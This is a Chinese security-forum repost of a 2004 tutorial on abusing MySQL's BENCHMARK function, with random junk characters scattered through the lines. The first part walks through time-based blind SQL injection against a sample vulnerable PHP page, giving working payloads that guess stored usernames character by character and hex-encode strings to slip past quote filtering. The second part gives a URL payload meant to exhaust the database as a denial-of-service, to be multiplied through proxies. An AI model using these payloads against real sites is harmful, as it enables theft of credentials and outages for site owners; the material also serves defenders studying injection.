找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2210|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 % T8 z* f4 R+ J; J# |- I
本文作者:SuperHei
+ U$ w. O/ a5 {$ {  Q) T3 L4 ^+ f- c文章性质:原创
& Z: G9 a  n" Y7 V发布日期:2005-01-02: U) z3 D4 t: J  [; e0 b5 p
完成日期:2004-07-09
+ q1 j8 w8 K' k2 a2 j第一部1 L9 `9 S. }5 ^
# \: e; G/ _' H. G5 X6 R
利用时间推延进行注射---BENCHMARK函数在注射中的利用
% i1 [0 b5 W* D0 r' g- A
) q0 o- M9 y9 B一.前言/思路4 m. C0 I+ M5 u1 C: r

, l7 ]$ _$ t; c) l  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。$ i( Y* D4 L7 M. Z( w7 c" K' ~1 D
. Y7 z9 R/ B9 p' N# _
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
: s( v. D6 L, u2 y
0 Y6 r+ u$ T, Q) ~8 \二.关于BENCHMARK函数+ A& L4 ?4 ~5 e

7 V2 [( ?- N4 o! v  在MySQL参考手册里可以看到如下描叙: " o+ s/ g  L9 t/ H/ s# a, q

2 h& P2 m. F3 G- j) Y6 {- P) C5 t0 l; k% U7 C, A
--------------------------------------------------------------------------------6 n9 O, U& B' w! i
$ H1 `4 I1 m/ r8 J6 Q$ }8 r  j
BENCHMARK(count,expr)
! X- o1 `6 y, }+ o8 |BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ) t# t' k4 X9 N( {8 Q
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
  Y/ B' r4 h9 i) Y+----------------------------------------------+ % Q! e+ ]0 d* S/ t
| BENCHMARK(1000000,encode("hello","goodbye")) |
; v6 B2 P& M! ^- @/ j& W+----------------------------------------------+ 4 K" a5 A1 c, p9 u
| 0 | 8 I7 P+ U( [8 l  v
+----------------------------------------------+ / ^9 N6 f, r: ^9 ~  x
1 row in set (4.74 sec) 4 E) Y+ \/ b: v) x, n
6 J4 p% y* g+ w8 I
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
0 `/ ~5 P1 h7 f9 e) {( m) e' w3 k9 l, Q# h

# H6 h: h0 t9 a. ^% N--------------------------------------------------------------------------------
2 k  Y9 k) d' c( o* ~+ s! R0 Z' h5 N) k+ u1 Q, t
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: * n& `/ C) H7 ]& P# J, r

# l- k+ m7 R) a6 U0 Pmysql> select md5( 'test' );
, F3 j  z8 v  ^5 m, L  e+----------------------------------+
, A4 ^- G  i5 U; W| md5( 'test' ) | / P. j+ q6 {/ E" G) B
+----------------------------------+
7 i" _0 C* k0 {+ w( r. B4 j| 098f6bcd4621d373cade4e832627b4f6 |
2 c' i# G' \, I! k8 h6 Z2 |: I+----------------------------------+
8 ?$ F) W9 @9 K& E3 _( y/ E* I1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
/ D, b5 V3 p. b( ?0 x8 F0 }6 S+ A+ P; W6 }6 N
mysql> select benchmark( 500000, md5( 'test' ) ); % ]& Y# `( E2 u) a
+------------------------------------+
& V* w9 ^5 F2 J$ u6 Z5 e: i, y# b: t| benchmark( 500000, md5( 'test' ) ) | & K1 d# J* W3 N" \; i' ~
+------------------------------------+
7 [5 S0 }+ J2 Z/ k| 0 |
3 O/ |2 |; H" m8 J$ M/ }5 H+------------------------------------+ * E, ~$ F; c$ Y
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
! |) A  D4 v% z, }. l# Z# O
6 P; ^5 j) l! W& M( Z) c4 f/ [) e, U3 x% c% V& d6 z: k
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ! w; f6 N% E0 r& q% O
; V9 v' P2 j& i4 }6 u3 @* N# ?
三.具体例子/ R* y" O0 }2 j+ [! H
3 `8 ?7 p; r9 f2 V$ _! m7 }
  首先我们看个简单的php代码:
7 i; t3 ]( `. d8 t2 }
$ B1 t& ~( I9 l  J6 J< ?php
; X7 [; Z& b# c2 {$servername = "localhost"; 6 T; ^* I' t7 V8 f4 H4 y. O+ r" ~
$dbusername = "root"; 4 m* i* H7 F  V! Z! w6 R8 o+ N& S
$dbpassword = ""; - G9 t) ^  p' \3 o% r& `' r' }
$dbname = "injection";
6 z2 A0 Y3 U3 }1 W& O  K( e3 r8 o' V6 K" H( g6 f) [0 ]+ _' R
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
3 f. {0 L+ q/ n) z6 h& E3 K$ f$ V- }, `! P0 ~
$sql = "SELECT * FROM article WHERE articleid=$id";
0 g$ Y! x& D9 t  v8 |$result = mysql_db_query($dbname,$sql); ) Q; @( X( o& \; `
$row = mysql_fetch_array($result);
4 A+ e/ X2 F$ F2 O8 U6 k. F
8 m1 ?* m; q' g3 Y% N# K* Fif (!$row) 1 O* Q2 A7 k6 {! R9 k1 L& H
{
; @# t/ I8 L6 L) ?3 g. J$ Y- M+ _exit; 9 \& u5 ?+ t6 f- U8 ^" z1 ^
} ! k2 ?5 d2 k8 C6 O: s
?>
9 H7 C* J) c# ^0 K : {9 x& H1 V1 r$ |1 p1 v& n- Q  }) Y

& X8 ^' v2 E6 w  数据库injection结构和内容如下:: d5 ]& S" K3 F" [+ A

) ?9 A, p& t2 J# Y' t# 数据库 : `injection`
! J+ T% ^6 _$ U# / ?* `0 E5 D$ t& m

/ E, c) x) ]* P- o# -------------------------------------------------------- + u5 k  N4 V: Y
% d# l' l! v% P6 A9 f5 T5 _
# 7 p9 }8 y) Q0 Z: n! I2 Y# B3 U
# 表的结构 `article` $ g; r5 k2 t; S( F; w% t. F' j
# * X4 g3 X/ V9 {+ i
' Y7 O; r0 O; z0 J. J
CREATE TABLE `article` (
$ V( j+ w# h5 t`articleid` int(11) NOT NULL auto_increment, ( j, ^; H7 m3 a8 e8 Y
`title` varchar(100) NOT NULL default '', ) Z- p; ~/ E; j8 A( Y6 L- }
`content` text NOT NULL, " L0 f: u9 A- j7 |! [  W
PRIMARY KEY (`articleid`)
( v$ h. H1 M. l  g- w3 X' `' M) TYPE=MyISAM AUTO_INCREMENT=3 ;
; `! {$ ~' h; e& h. e' m5 R1 ~. Q; \8 a4 E/ ]* |" v
#
1 }( e5 O( s) Y6 c$ ?% `8 W: X" q# 导出表中的数据 `article` , \. S) p( r; d- _
#
8 A) I  p7 K8 k' `1 A; J2 G# j* B+ [2 n3 B
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
! k4 `- a4 ~) ]/ W. _5 _. HINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
$ c, r* a8 J) U: a( d3 a
: b% a/ @+ d5 M, R# --------------------------------------------------------
9 f4 z- Q% B" T3 t4 M8 v
  k5 V! T, u& ^3 o/ V# - i2 U4 Z) E5 A6 ?/ l
# 表的结构 `user` 7 m! j/ X% q  k6 d* K) b
#
. r. P% N0 B& B5 f' X0 W
! N% a/ _+ u! G2 oCREATE TABLE `user` (
: B! E2 P$ e/ N0 y`userid` int(11) NOT NULL auto_increment, 2 L) g9 e( N+ K/ r
`username` varchar(20) NOT NULL default '', # q* ?  K  }: r4 O
`password` varchar(20) NOT NULL default '',
! w& s. ^, U/ [. RPRIMARY KEY (`userid`) + t% U+ M# L/ m+ I  H
) TYPE=MyISAM AUTO_INCREMENT=3 ; ' z& c* }' C2 {% c% C: E
0 F& J/ z4 q- C
#
0 @! G% j5 k) r! I  J# 导出表中的数据 `user` 4 ~  M! a7 F+ ^0 a8 |
#
3 S9 {1 Z7 C4 |1 P3 g: z
+ o1 d9 l* Q( U. [/ EINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 9 A( t) X/ v' x$ e2 h
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
4 j, E& ]8 ^0 ?" [8 \+ K% q/ W . a% z$ \$ X2 v$ ~5 [) F% p0 @( N
2 J* d( Y5 F8 u7 H8 Y* a
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:6 @" g/ N+ T+ F( Y/ H

$ B8 u$ g6 q" t* d) a. pid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*) @7 x7 S5 f0 r! R% Q% x
) f( ]2 {" T. W
! P3 W& E' y" s7 h5 D$ I
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
$ j' c. V  I6 s. V* i$ |3 N( N/ o8 S  W! H
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*4 T' Y- G; i! b# R! z

& M8 B! ?1 I$ r: v8 p! g, F1 P/ o  W8 P8 g: v
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 L' }2 n' C* B- n8 O
* b1 ]# `1 {- d" ]' T; n  a
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
6 G+ P; M* C% \5 {/ G) D( e" H0 K; A
第二部
; g: w( d8 k. M* {5 G3 X; n4 T9 ~7 {: v6 _
利用BENCHMARK函数进行ddos攻击 6 W" ^0 D% F2 q

( B7 \7 a% X6 Z, K9 g+ |7 o6 Z  ]  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- F8 M3 a+ V2 }( {' f) h, V1 C* q
. @4 ?. `. i. }: j; p. K: X0 Ghttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))! j" }$ I1 l9 X0 h
! }' I% W0 w- d, R! X  R+ C3 M+ u

  y) F) l" G# c( M. S小结
/ q  P$ J! ^, p& \4 ~/ k( D4 R$ g8 q) I7 |% J
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。- J2 U& r: f! v+ r  K
- [" M4 d: r1 m$ P7 m
  . p8 L/ j& N. L  A6 i2 L4 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表